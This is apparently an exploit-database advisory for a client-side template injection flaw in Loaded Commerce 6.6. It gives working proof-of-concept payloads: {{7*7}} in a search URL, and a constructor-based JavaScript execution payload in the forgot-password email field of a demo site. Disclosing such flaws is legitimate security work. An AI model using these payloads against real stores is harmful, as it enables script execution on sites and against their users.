Loaded Commerce 6.6 - Client-Side Template Injection(CSTI)

# Exploit Title: Loaded Commerce 6.6 Client-Side Template Injection(CSTI) 
# Date: 03/13/2025
# Exploit Author: tmrswrr
# Vendor Homepage: https://loadedcommerce.com/
# Version: 6.6
# Tested on: https://www.softaculous.com/apps/ecommerce/Loaded_Commerce

Injecting {{7*7}} into the search parameter 
https://demos1.softaculous.com/Loaded_Commerce/index.php?rt=core%2Fadvanced_search_result&keywords={{7*7}}
returns 49, confirming a template injection vulnerability.

Forgot Password:
Submitting {{constructor.constructor('alert(1)')()}} in the email field on the "Forgot Password" page
https://demos1.softaculous.com/Loaded_Commerce/index.php?rt=core/password_forgotten&action=process
triggers an alert, demonstrating client-side code execution.